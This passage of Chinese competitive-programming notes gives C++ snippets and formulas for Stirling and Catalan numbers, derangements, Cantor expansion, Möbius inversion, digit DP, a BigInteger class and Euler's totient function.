<pre class="cpp"><code>LL S[MAXN][MAXN];
void init() {
S[0][0] = 1;
for(int i=1; i<MAXN; i++) {
for(int j=1; j<=i; j++) {
S[i][j] = (i-1)*S[i-1][j]+S[i-1][j-1];
}
}
}</code></pre>
<pre><code>1
1 1
2 3 1
6 11 6 1
24 50 35 10 1
120 274 225 85 15 1
720 1764 1624 735 175 21 1
5040 13068 13132 6769 1960 322 28 1
40320 109584 118124 67284 22449 4536 546 36 1
362880 1026576 1172700 723680 269325 63273 9450 870 45 1</code></pre>
<h2 id="catalan数">Catalan数</h2>
<p><a href="https://oeis.org/A000108">OEIS A000108</a> <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>n</mi></msub><mo>=</mo><mfrac><mn>1</mn><mrow><mi>n</mi><mo>+</mo><mn>1</mn></mrow></mfrac><mrow><mo stretchy="true" form="prefix">(</mo><mfrac linethickness="0"><mrow><mn>2</mn><mi>n</mi></mrow><mi>n</mi></mfrac><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mfrac><mrow><mrow><mo stretchy="true" form="prefix">(</mo><mn>2</mn><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow><mi>!</mi></mrow><mrow><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>+</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow><mi>!</mi><mi>n</mi><mi>!</mi></mrow></mfrac><mo>=</mo><mrow><mo stretchy="true" form="prefix">(</mo><mfrac linethickness="0"><mrow><mn>2</mn><mi>n</mi></mrow><mi>n</mi></mfrac><mo stretchy="true" form="postfix">)</mo></mrow><mo>−</mo><mrow><mo stretchy="true" form="prefix">(</mo><mfrac linethickness="0"><mrow><mn>2</mn><mi>n</mi></mrow><mrow><mi>n</mi><mo>+</mo><mn>1</mn></mrow></mfrac><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">
C_n=\frac{1}{n+1}\binom{2n}{n}=\frac{(2n)!}{(n+1)!n!}=\binom{2n}{n}-\binom{2n}{n+1}
</annotation></semantics></math></p>
<p><code>1, 1, 2, 5, 14, 42, 132, 429, 1430, 4862, 16796, 58786, 208012, 742900, 2674440, 9694845, 35357670, 129644790, 477638700, 1767263190</code></p>
<p>组合数学中有非常多的组合结构可以用卡塔兰数来计数。在Richard P. Stanley的Enumerative Combinatorics: Volume 2一书的习题中包括了66个相异的可由卡塔兰数表达的组合结构。</p>
<ul>
<li><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示长度2n的dyck word的个数。Dyck word是一个有n个X和n个Y组成的字串,且所有的前缀字串皆满足X的个数大于等于Y的个数。以下为长度为6的dyck words:</li>
</ul>
<center>
<code>XXXYYY</code> <code>XYXXYY</code> <code>XYXYXY</code> <code>XXYYXY</code> <code>XXYXYY</code>
</center>
<ul>
<li>将上例的X换成左括号,Y换成右括号,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示所有包含n组括号的合法运算式的个数:</li>
</ul>
<center>
<code>((()))</code> <code>()(())</code> <code>()()()</code> <code>(())()</code> <code>(()())</code>
</center>
<ul>
<li><p><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示有n个节点组成不同构二叉树的方案数。下图中,n等于3,圆形表示节点,月牙形表示什么都没有。</p></li>
<li><p><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示有2n+1个节点组成不同构满二叉树的方案数。下图中,n等于3,圆形表示内部节点,月牙形表示外部节点。本质同上。</p></li>
</ul>
<figure>
<img src="https://upload.wikimedia.org/wikipedia/commons/0/01/Catalan_number_binary_tree_example.png" alt="Catalan number binary tree example">
<figcaption aria-hidden="true">Catalan number binary tree example</figcaption>
</figure>
<ul>
<li><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示所有在n×n格点中不越过对角线的单调路径的个数。一个单调路径从格点左下角出发,在格点右上角结束,每一步均为向上或向右。计算这种路径的个数等价于计算Dyck word的个数:X代表“向右”,Y代表“向上”。下图为n=4的情况:</li>
</ul>
<figure>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/f/f4/Catalan_number_4x4_grid_example.svg/450px-Catalan_number_4x4_grid_example.svg.png" alt="Catalan number 4x4 grid example">
<figcaption aria-hidden="true">Catalan number 4x4 grid example</figcaption>
</figure>
<ul>
<li><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示通过连结顶点而将n+2边的凸多边形的方法个数。下图中为n=4的情况:</li>
</ul>
<figure>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a8/Catalan-Hexagons-example.svg/400px-Catalan-Hexagons-example.svg.png" alt="Catalan Hexagons example">
<figcaption aria-hidden="true">Catalan Hexagons example</figcaption>
</figure>
<ul>
<li><p><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示对{1, ..., n}依序进出栈的置换个数。一个置换w是依序进出栈的当S(w)=(1, ..., n),其中S(w)递归定义如下:令w=unv,其中n为w的最大元素,u和v为更短的数列;再令S(w)=S(u)S(v)n,其中S为所有含一个元素的数列的单位元。</p></li>
<li><p><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示集合{1, ..., n}的不交叉划分的个数.那么, <math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>永远不大于第n项贝尔数. <math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>也表示集合{1, ..., 2n}的不交叉划分的个数,其中每个段落的长度为2。综合这两个结论,可以用数学归纳法证明:在魏格纳半圆分布定律中度数大于2的情形下,所有自由的累积量s为零。 该定律在自由概率论和随机矩阵理论中非常重要。</p></li>
<li><p><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示用n个长方形填充一个高度为n的阶梯状图形的方法个数。下图为n=4的情况:</p></li>
</ul>
<figure>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/6/63/Catalan_stairsteps_4.svg/400px-Catalan_stairsteps_4.svg.png" alt="Catalan stairsteps 4">
<figcaption aria-hidden="true">Catalan stairsteps 4</figcaption>
</figure>
<ul>
<li><p><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示表为2×n的矩阵的标准杨氏矩阵的数量。也就是说,它是数字 1, 2, ..., 2n被放置在一个2×n的矩形中并保证每行每列的数字升序排列的方案数。同样的,该式可由<a href="https://zh.wikipedia.org/wiki/%E6%9D%A8%E6%B0%8F%E7%9F%A9%E9%98%B5">勾长公式</a>的一个特殊情形推导得出。</p></li>
<li><p><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>C</mi><mi>n</mi></msub><annotation encoding="application/x-tex">C_n</annotation></semantics></math>表示n个无标号物品的半序的个数。</p></li>
</ul>
<h2 id="错排">错排</h2>
<p>考虑一个有n个元素的排列,若一个排列中所有的元素都不在自己原来的位置上,那么这样的排列就称为原排列的一个错排。 n个元素的错排数记为D(n)。 <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mtable><mtr><mtd columnalign="right" style="text-align: right"><mi>D</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow></mtd><mtd columnalign="left" style="text-align: left"><mo>=</mo><mrow><mo stretchy="true" form="prefix">{</mo><mtable><mtr><mtd columnalign="right" style="text-align: right"></mtd><mtd columnalign="left" style="text-align: left"><mn>0</mn></mtd><mtd columnalign="right" style="text-align: right"><mi>n</mi><mo>=</mo><mn>1</mn></mtd></mtr><mtr><mtd columnalign="right" style="text-align: right"></mtd><mtd columnalign="left" style="text-align: left"><mn>1</mn></mtd><mtd columnalign="right" style="text-align: right"><mi>n</mi><mo>=</mo><mn>2</mn></mtd></mtr><mtr><mtd columnalign="right" style="text-align: right"></mtd><mtd columnalign="left" style="text-align: left"><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow><mrow><mo stretchy="true" form="prefix">[</mo><mi>D</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow><mo>+</mo><mi>D</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>−</mo><mn>2</mn><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">]</mo></mrow></mtd><mtd columnalign="right" style="text-align: right"><mi>n</mi><mo>≥</mo><mn>3</mn></mtd></mtr></mtable></mrow></mtd></mtr><mtr><mtd columnalign="right" style="text-align: right"></mtd><mtd columnalign="left" style="text-align: left"><mo>=</mo><mi>n</mi><mi>!</mi><mrow><mo stretchy="true" form="prefix">[</mo><mfrac><mn>1</mn><mrow><mn>2</mn><mi>!</mi></mrow></mfrac><mo>−</mo><mfrac><mn>1</mn><mrow><mn>3</mn><mi>!</mi></mrow></mfrac><mo>+</mo><mi>…</mi><mo>+</mo><msup><mrow><mo stretchy="true" form="prefix">(</mo><mo>−</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow><mi>n</mi></msup><mfrac><mn>1</mn><mrow><mi>n</mi><mi>!</mi></mrow></mfrac><mo stretchy="true" form="postfix">]</mo></mrow></mtd></mtr><mtr><mtd columnalign="right" style="text-align: right"></mtd><mtd columnalign="left" style="text-align: left"><mo>=</mo><mo stretchy="false" form="prefix">⌊</mo><mfrac><mrow><mi>n</mi><mi>!</mi></mrow><mi>e</mi></mfrac><mo>+</mo><mn>0.5</mn><mo stretchy="false" form="postfix">⌋</mo></mtd></mtr></mtable><annotation encoding="application/x-tex">
\begin{aligned}
D(n)&=\left\{
\begin{aligned}
& 0 & n=1 \\
& 1 & n=2 \\
& (n-1)[D(n-1)+D(n-2)] & n \geq 3
\end{aligned}
\right. \\
&=n![\frac1{2!}-\frac1{3!}+\dots+(-1)^n\frac1{n!}] \\
&=\lfloor\frac{n!}e+0.5\rfloor
\end{aligned}
</annotation></semantics></math></p>
<h2 id="康拓展开">康拓展开</h2>
<p>X表示一个排列在所有的全排列中排第几个(从0开始)。 <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>=</mo><msub><mi>A</mi><mi>n</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow><mi>!</mi><mo>+</mo><msub><mi>A</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msub><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>−</mo><mn>2</mn><mo stretchy="true" form="postfix">)</mo></mrow><mi>!</mi><mo>+</mo><mi>…</mi><mo>+</mo><msub><mi>A</mi><mn>1</mn></msub><mo>×</mo><mn>0</mn><mi>!</mi></mrow><annotation encoding="application/x-tex">
X=A_n(n−1)!+A_{n−1}(n−2)!+\dots+A_1\times0!
</annotation></semantics></math> 其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>A</mi><mi>i</mi></msub><annotation encoding="application/x-tex">A_i</annotation></semantics></math>表示这个排列里从左到右第i个数字之后有多少比这个数字小的数字。</p>
<h3 id="逆运算">逆运算</h3>
<p>假设求4位数中第18个位置(第0个是1 2 3 4)的数字。</p>
<p>18对3!作除法→得3余0</p>
<p>0对2!作除法→得0余0</p>
<p>0对1!作除法→得0余0</p>
<p>据上面的可知:</p>
<p>我们第一位数(最左面的数),比第一位数小的数有3个,显然第一位数为4。</p>
<p>比第二位数小的数字有0个,所以第二位数为1。</p>
<p>比第三位数小的数字有0个,因为1已经用过,所以第三位数为2。</p>
<p>第四位数剩下3。</p>
<p>该数字为 4123。</p>
<h2 id="rope库">rope库</h2>
<pre class="cpp"><code>#include <ext/rope>
typedef __gnu_cxx::rope<int> List;</code></pre>
<table>
<colgroup>
<col style="width: 40%">
<col style="width: 59%">
</colgroup>
<thead>
<tr class="header">
<th>函数</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>push_back(x)</td>
<td>在末尾添加x,也支持类似的其他deque操作</td>
</tr>
<tr class="even">
<td>replace(pos, len, begin, end)</td>
<td>将pos~pos+len-1的值替换为begin~end-1</td>
</tr>
<tr class="odd">
<td>replace(pos, len, begin, count)</td>
<td>将pos~pos+len-1的值替换为begin~begin+count-1</td>
</tr>
<tr class="even">
<td>insert(pos, begin, end)</td>
<td>在pos之前插入,也有其他类似replace的用法</td>
</tr>
<tr class="odd">
<td>copy(pos, len, begin)</td>
<td>replace的等长版</td>
</tr>
<tr class="even">
<td>substr(pos, len)</td>
<td>截取</td>
</tr>
<tr class="odd">
<td>拷贝构造函数</td>
<td>可持久化的方法,O(1)</td>
</tr>
</tbody>
</table>
<h2 id="莫比乌斯反演">莫比乌斯反演</h2>
<p>F(n)和f(n)是定义在非负整数集合上的两个函数。</p>
<h3 id="定理1">定理1</h3>
<p>如果: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><munder><mo>∑</mo><mrow><mi>d</mi><mo stretchy="false" form="prefix">|</mo><mi>n</mi><mi>(</mi><mi>d</mi><mi>是</mi><mi>n</mi><mi>的</mi><mi>因</mi><mi>数</mi><mi>)</mi></mrow></munder><mrow><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><annotation encoding="application/x-tex">
F(n)=\sum_{d|n(d是n的因数)}{f(d)}
</annotation></semantics></math> 那么: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><munder><mo>∑</mo><mrow><mi>d</mi><mo stretchy="false" form="prefix">|</mo><mi>n</mi></mrow></munder><mrow><mi>μ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow><mi>F</mi><mrow><mo stretchy="true" form="prefix">(</mo><mfrac><mi>n</mi><mi>d</mi></mfrac><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><annotation encoding="application/x-tex">
f(n)=\sum_{d|n}{\mu(d)F(\frac nd)}
</annotation></semantics></math></p>
<h3 id="定理2">定理2</h3>
<p>如果: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><munder><mo>∑</mo><mrow><mi>n</mi><mo stretchy="false" form="prefix">|</mo><mi>d</mi><mi>(</mi><mi>d</mi><mi>是</mi><mi>n</mi><mi>的</mi><mi>倍</mi><mi>数</mi><mi>)</mi></mrow></munder><mrow><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><annotation encoding="application/x-tex">
F(n)=\sum_{n|d(d是n的倍数)}{f(d)}
</annotation></semantics></math> 那么: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><munder><mo>∑</mo><mrow><mi>n</mi><mo stretchy="false" form="prefix">|</mo><mi>d</mi></mrow></munder><mrow><mi>μ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mfrac><mi>d</mi><mi>n</mi></mfrac><mo stretchy="true" form="postfix">)</mo></mrow><mi>F</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><annotation encoding="application/x-tex">
f(n)=\sum_{n|d}{\mu(\frac dn)F(d)}
</annotation></semantics></math></p>
<h2 id="数位dp">数位DP</h2>
<pre class="cpp"><code>typedef long long LL;
int a[20];
LL dp[20][state];//不同题目状态不同
LL dfs(int pos,/*state变量*/,bool lead/*前导零*/,bool limit/*数位上界变量*/)//不是每个题都要判断前导零
{
//递归边界,既然是按位枚举,最低位是0,那么pos==-1说明这个数我枚举完了
if(pos==-1) return 1;/*这里一般返回1,表示你枚举的这个数是合法的,那么这里就需要你在枚举时必须每一位都要满足题目条件,也就是说当前枚举到pos位,一定要保证前面已经枚举的数位是合法的。不过具体题目不同或者写法不同的话不一定要返回1 */
//第二个就是记忆化(在此前可能不同题目还能有一些剪枝)
if(!limit && !lead && dp[pos][state]!=-1) return dp[pos][state];
/*常规写法都是在没有限制的条件记忆化,这里与下面记录状态是对应,具体为什么是有条件的记忆化后面会讲*/
int up=limit?a[pos]:9;//根据limit判断枚举的上界up;这个的例子前面用213讲过了
LL ans=0;
//开始计数
for(int i=0;i<=up;i++)//枚举,然后把不同情况的个数加到ans就可以了
{
if() ...
else if()...
ans+=dfs(pos-1,/*状态转移*/,lead && i==0,limit && i==a[pos]) //最后两个变量传参都是这样写的
/*这里还算比较灵活,不过做几个题就觉得这里也是套路了
大概就是说,我当前数位枚举的数是i,然后根据题目的约束条件分类讨论
去计算不同情况下的个数,还有要根据state变量来保证i的合法性,比如题目
要求数位上不能有62连续出现,那么就是state就是要保存前一位pre,然后分类,
前一位如果是6那么这意味就不能是2,这里一定要保存枚举的这个数是合法*/
}
//计算完,记录状态
if(!limit && !lead) dp[pos][state]=ans;
/*这里对应上面的记忆化,在一定条件下时记录,保证一致性,当然如果约束条件不需要考虑lead,这里就是lead就完全不用考虑了*/
return ans;
}
LL solve(LL x)
{
int pos=0;
while(x)//把数位都分解出来
{
a[pos++]=x%10;//个人老是喜欢编号为[0,pos),看不惯的就按自己习惯来,反正注意数位边界就行
x/=10;
}
return dfs(pos-1/*从最高位开始枚举*/,/*一系列状态 */,true,true);//刚开始最高位都是有限制并且有前导零的,显然比最高位还要高的一位视为0嘛
}
int main()
{
LL le,ri;
while(~scanf("%LLd%LLd",&le,&ri))
{
//初始化dp数组为-1,这里还有更加优美的优化,后面讲
printf("%LLd\n",solve(ri)-solve(le-1));
}
}</code></pre>
<h2 id="大整数类">大整数类</h2>
<pre class="cpp"><code>#include <cstdio>
#include <algorithm>
#include <iostream>
#include <string>
#include <cstring>
#include <vector>
#include <cctype>
using namespace std;
typedef long long LL;
struct BigInteger {
static const int D = 10000;
typedef vector<int> DigSet;
enum Sign {positive, negative} sign;
DigSet dig;
BigInteger(const DigSet& dig = DigSet(), Sign sign = positive):sign(sign),dig(dig){}
BigInteger(LL val):sign(val>=0?positive:negative) {
val = abs(val);
while (val) {
dig.push_back(val%D);
val /= D;
}
}
BigInteger(const string& val) {
for (int i = val.size() - 1; i >= 0; i-=4) {
int d = 0;
for (int j = 0, p=1; j < 4 && i - j >= 0 && isdigit(val[i - j]); j++, p*=10) {
d += (val[i-j] & 0xf)*p;
}
dig.push_back(d);
}
sign = Sign(val[0] == '-');
purify();
}
string toString() const {
if (zero()) return "0";
string rst;
if (sign==negative) rst = "-";
rst += to_string(highest());
for (int i = 2; i <= dig.size(); i++) {
static char buf[10];
sprintf(buf, "%04d", highest(i));
rst += buf;
}
return rst;
}
friend istream& operator>> (istream& is, BigInteger& x) {
string s;
is >> s;
x = s;
return is;
}
friend ostream& operator<< (ostream& os, const BigInteger& x) {
os << x.toString();
return os;
}
int highest(int i=1) const {
return dig[dig.size() - i];
}
bool zero() const {
return dig.empty();
}
BigInteger& purify() {
if (zero()) {
sign = positive;
return *this;
}
for (int i = 0; i < dig.size()-1; i++) {
dig[i + 1] += dig[i] / D;
dig[i] %= D;
if (dig[i] < 0) {
dig[i + 1]--;
dig[i] += D;
}
}
while (highest() >= D) {
dig.push_back(highest() / D);
dig[dig.size() - 2] %= D;
}
while (!zero() && !highest()) {
dig.pop_back();
}
if (zero()) {
sign = positive;
}
return *this;
}
static DigSet add(const DigSet& x, const DigSet& y) {
DigSet rst = x.size() > y.size() ? x : y;
const DigSet& less = x.size() > y.size() ? y : x;
for (int i = 0; i < less.size(); i++) {
rst[i] += less[i];
}
return rst;
}
static DigSet sub(DigSet x, const DigSet& y) {
for (int i = 0; i < y.size(); i++) {
x[i] -= y[i];
}
return x;
}
static int cmp(const DigSet& x, const DigSet& y) {
if (x.size() < y.size()) return -1;
else if (x.size() > y.size()) return 1;
for (int i = x.size()-1; i >= 0; i--) {
if (x[i] < y[i]) return -1;
else if (x[i] > y[i]) return 1;
}
return 0;
}
bool operator< (const BigInteger& b) const {
if (sign != b.sign) return sign==negative;
else return cmp(dig, b.dig) == (int)sign*2-1;
}
bool operator== (const BigInteger& b) const {
return sign == b.sign && cmp(dig, b.dig) == 0;
}
bool operator<= (const BigInteger& b) const {
return *this == b || *this < b;
}
BigInteger operator+ (const BigInteger& b) const {
if (sign == b.sign) {
return BigInteger(add(dig, b.dig), sign).purify();
}
else {
return *this- -b;
}
}
BigInteger operator-() const {
return BigInteger(dig, (Sign)!sign);
}
BigInteger operator-(const BigInteger& b) const {
if (sign == b.sign) {
int c = cmp(dig, b.dig);
if (c == 0) return BigInteger().purify();
else if (c == 1) return BigInteger(sub(dig, b.dig), sign).purify();
else return BigInteger(sub(b.dig, dig), (Sign)!sign).purify();
}
else {
return *this+ -b;
}
}
BigInteger operator*(const BigInteger& b) const {
BigInteger rst(DigSet(dig.size() + b.dig.size()), Sign(sign!=b.sign));
for (int i = 0; i < dig.size(); i++) {
for (int j = 0; j < b.dig.size(); j++) {
rst.dig[i + j] += dig[i] * b.dig[j];
rst.dig[i + j + 1] += rst.dig[i + j] / D;
rst.dig[i + j] %= D;
}
}
return rst.purify();
}
BigInteger operator/ (const BigInteger& b) const {
BigInteger rst(DigSet(dig.size()), Sign(sign != b.sign));
BigInteger div;
for (int i = dig.size()-1; i>=0; i--) {
div = div * D + dig[i];
BigInteger mul(b.dig, positive);
for (int j = 0x2000; j; j >>= 1) {
if (mul*j <= div) {
rst.dig[i] |= j;
div = div - mul * j;
}
}
}
return rst.purify();
}
BigInteger operator% (const BigInteger& b) const {
BigInteger rst = *this - *this / b * b;
return rst.sign == positive ? rst : b.sign == positive ? rst + b : rst - b;
}
};
int main() {
BigInteger a, b;
while (cin >> a >> b) {
cout << a + b << endl;
cout << a - b << endl;
cout << a * b << endl;
if (!(b == 0)) {
cout << a / b << endl;
cout << a % b << endl;
}
}
return 0;
}</code></pre>
<h2 id="n中与m互质的数的和平方和">1~n中与m互质的数的和、平方和</h2>
<pre class="cpp"><code>LL fact[30];
int nf;
void makeFact(LL x) {
nf = 0;
for(int i=2; (LL)i*i<=x; i++) {
if(x%i==0) {
fact[nf++] = i;
do x /= i; while (x%i == 0);
}
}
if(x>1) fact[nf++] = x;
}
inline LL sum1ToX(LL x) {
return (1+x)*x/2;
}
inline LL sqrSum1ToX(LL x) {
return x*(x+1)*(2*x+1)/6;
}
// 1~n与m互质的和(与n互质的和见欧拉函数部分)
LL sumCoprime(LL n, LL m) {
makeFact(m);
LL rst = 0;
for(int i=1; i<1<<nf; i++) {
LL f = 1;
int cnt = 0;
for(int j=0; j<nf; j++) {
if(i&(1<<j)) {
f *= fact[j];
cnt++;
}
}
if(cnt&1) rst += f*sum1ToX(n/f);
else rst -= f*sum1ToX(n/f);
}
return sum1ToX(n)-rst;
}
// 1~n与m互质的平方和
LL sqrSumCoprime(LL n, LL m) {
makeFact(m);
LL rst = 0;
for(int i=1; i<1<<nf; i++) {
LL f = 1;
int cnt = 0;
for(int j=0; j<nf; j++) {
if(i&(1<<j)) {
f *= fact[j];
cnt++;
}
}
if(cnt&1) rst += f*f*sqrSum1ToX(n/f);
else rst -= f*f*sqrSum1ToX(n/f);
}
return sqrSum1ToX(n)-rst;
}</code></pre>
<h2 id="欧拉函数">欧拉函数</h2>
<p>n的欧拉函数值<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>φ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">\varphi(n)</annotation></semantics></math>表示1~n中与n互质的数的个数。</p>
<p>设<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><msubsup><mi>p</mi><mn>1</mn><msub><mi>k</mi><mn>1</mn></msub></msubsup><msubsup><mi>p</mi><mn>2</mn><msub><mi>k</mi><mn>2</mn></msub></msubsup><mi>…</mi><msubsup><mi>p</mi><mi>r</mi><msub><mi>k</mi><mi>r</mi></msub></msubsup></mrow><annotation encoding="application/x-tex">n=p_1^{k_1}p_2^{k_2} \dots p_r^{k_r}</annotation></semantics></math>,那么: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>φ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mo>∏</mo><mrow><msubsup><mi>p</mi><mi>i</mi><mrow><msub><mi>k</mi><mi>i</mi></msub><mo>−</mo><mn>1</mn></mrow></msubsup><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>p</mi><mi>i</mi></msub><mo>−</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mo>=</mo><mi>n</mi><mo>∏</mo><mrow><mo stretchy="true" form="prefix">(</mo><mn>1</mn><mo>−</mo><mfrac><mn>1</mn><msub><mi>p</mi><mi>i</mi></msub></mfrac><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mfrac><mi>n</mi><mrow><mo>∏</mo><msub><mi>p</mi><mi>i</mi></msub></mrow></mfrac><mo>∏</mo><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>p</mi><mi>i</mi></msub><mo>−</mo><mn>1</mn><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">
\varphi(n)=\prod{p_i^{k_i-1}(p_i-1)}=n\prod(1-\frac1{p_i})=\frac{n}{\prod{p_i}}\prod{(p_i-1)}
</annotation></semantics></math> 另外有性质: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><munder><mo>∑</mo><mrow><mi>d</mi><mo stretchy="false" form="prefix">|</mo><mi>n</mi></mrow></munder><mrow><mi>φ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mo>=</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">
\sum_{d|n}{\varphi(d)}=n
</annotation></semantics></math> 经莫比乌斯反演可得: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>φ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><munder><mo>∑</mo><mrow><mi>d</mi><mo stretchy="false" form="prefix">|</mo><mi>n</mi></mrow></munder><mrow><mi>d</mi><mo>⋅</mo><mi>μ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mi>/</mi><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><annotation encoding="application/x-tex">
\varphi(n)=\sum_{d|n}{d\cdot\mu(n/d)}
</annotation></semantics></math> 其他性质: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><munder><mo>∑</mo><mrow><mi>d</mi><mo stretchy="false" form="prefix">|</mo><mi>n</mi></mrow></munder><mfrac><mrow><msup><mi>μ</mi><mn>2</mn></msup><mrow><mo stretchy="true" form="prefix">(</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mrow><mi>φ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mfrac><mo>=</mo><mfrac><mi>n</mi><mrow><mi>φ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mfrac></mrow><annotation encoding="application/x-tex">
\sum_{d|n}{\frac{\mu^2(d)}{\varphi(d)}}=\frac{n}{\varphi(n)}
</annotation></semantics></math></p>
